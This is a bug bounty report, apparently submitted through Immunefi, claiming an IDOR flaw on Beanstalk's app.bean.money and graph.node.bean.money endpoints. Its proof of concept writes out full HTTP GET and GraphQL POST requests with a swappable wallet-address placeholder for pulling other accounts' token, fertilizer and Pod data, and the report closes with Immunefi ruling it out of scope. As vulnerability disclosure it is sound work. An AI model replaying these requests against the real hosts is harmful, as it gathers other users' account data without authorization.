IDOR Vulnerability with Improved PoC - [submission id - 35516]
Report ID
#35555
Report type
Websites and Applications
Has PoC?
Yes
Target
Impacts
- IDOR Leading to Information Disclosure
Description
An attacker can access unripe tokens and view the fertilizer balances and Pod information of any account by manipulating the wallet address in the request. This vulnerability arises from the lack of proper session authorization checks when accessing sensitive data.
I am reopening the previously submitted vulnerability report [ID->35516], which was closed due to an insufficient proof of concept. However, I have since identified that the /subgraphs/name/beanstalk-dev API endpoint has been fixed, and I am providing a better PoC for your review.
Vulnerability Details
Insecure Direct Object Reference (IDOR) is a type of access control vulnerability that occurs when an application exposes a reference to an internal implementation object. This allows an attacker to bypass authorization checks by manipulating the input parameters to access unauthorized data or resources. In the context of this vulnerability, it involves unauthorized access to sensitive account information, such as unripe tokens and fertilizer balances, by altering a wallet address parameter in API requests.
Example Scenario
- Initial Access:
- A legitimate user accesses their account and retrieves their unripe tokens via the API.
- The API responds with data specific to that user.
- Attacker's Actions:
- The attacker observes the format of the API request and notices that it includes a wallet address.
- By substituting their own wallet address with that of a target account in the request, the attacker sends a new request.
- Data Exposure:
- The API responds with sensitive information related to the target account, including details about unripe tokens and fertilizer balances, without any authorization checks.
Impact Details
- Information Disclosure: The attacker can gather sensitive information about any account's unripe tokens, fertilizer balances, and Pod details without proper authorization. This could lead to further attacks or social engineering.
- Reconnaissance Opportunity: While this may not lead to immediate exploitation, it provides attackers with valuable reconnaissance data that can be used to plan more targeted attacks against users or the platform itself.
References
https://portswigger.net/web-security/access-control/idor
Proof of concept
1. Access Unripe Tokens:
â—¦ Send a GET request to the URI that retrieves unripe tokens.
â—¦ Replace the wallet <<ACCOUNT>> parameter with that of a target account.
â—¦ Observe that the response contains the unripe tokens for the specified account.
GET /.netlify/functions/unripe?account=<<ACCOUNT>> HTTP/1.1
Host: app.bean.money
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Referer: https://app.bean.money/
Content-Type: application/json
Origin: https://app.bean.money
2. View Fertilizer Balances:
â—¦ Send a GraphQL POST request to the URI that retrieves fertilizer balances.
â—¦ Again, replace the wallet <<ACCOUNT>> parameter with that of a target account.
â—¦ Confirm that the response includes the fertilizer balance for the specified account.
POST /subgraphs/name/beanstalk-dev HTTP/1.1
Host: graph.node.bean.money
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Referer: https://app.bean.money/
Content-Type: application/json
Origin: https://app.bean.money
Content-Length: 367
{"operationName":"FertilizerBalances","variables":{"account":"<<ACCOUNT>>"},"query":"query FertilizerBalances($account: String) {\n fertilizerBalances(where: {farmer: $account}) {\n amount\n fertilizerToken {\n id\n endBpf\n season\n humidity\n startBpf\n __typename\n }\n __typename\n }\n}"}
3. Access Pod Information:
â—¦ Replay the following for any URI that retrieves Pod information.
â—¦ The response will reveal sensitive information about the target account's Pods.
POST /subgraphs/name/beanstalk-dev HTTP/1.1
Host: graph.node.bean.money
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Referer: https://app.bean.money/
Content-Type: application/json
Origin: https://app.bean.money
{"operationName":"FarmerSiloAssetSnapshots","variables":{"account":"<<ACCOUNT>>"},"query":"query FarmerSiloAssetSnapshots($account: ID!) {\n farmer(id: $account) {\n silo {\n assets {\n token\n hourlySnapshots(orderBy: season, orderDirection: asc) {\n id\n season\n deltaDepositedBDV\n deltaDepositedAmount\n depositedBDV\n createdAt\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n}"}
POST /subgraphs/name/beanstalk-dev HTTP/1.1
Host: graph.node.bean.money
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Referer: https://app.bean.money/
Content-Type: application/json
Origin: https://app.bean.money
{"operationName":"FarmerPodListings","variables":{"first":1000,"account":"<<ACCOUNT>>","createdAt_gt":0},"query":"query FarmerPodListings($first: Int = 1000, $createdAt_gt: BigInt, $account: String!) {\n podListings(\n first: $first\n where: {createdAt_gt: $createdAt_gt, farmer: $account, status_not: FILLED_PARTIAL}\n ) {\n ...PodListing\n __typename\n }\n}\n\nfragment PodListing on PodListing {\n id\n farmer {\n id\n __typename\n }\n historyID\n index\n start\n mode\n pricingType\n pricePerPod\n pricingFunction\n maxHarvestableIndex\n minFillAmount\n originalIndex\n originalAmount\n filled\n amount\n remainingAmount\n filledAmount\n status\n createdAt\n updatedAt\n creationHash\n __typename\n}"}
Immunefi Response
Immunefi has reviewed this vulnerability report and decided to close since being out of scope for Beanstalk bug bounty program.
- claimed impact by the whitehatÂ
is not in scope for the bug bounty program- claimed asset by the whitehat is in scope for the bug bounty program
- claimed severityÂ
is not in scope for the bug bounty programThe project will now be automatically subscribed and receive a report of the closed submission and can evaluate if they are interested in re-opening it. However, note that they are not under any obligation to do so.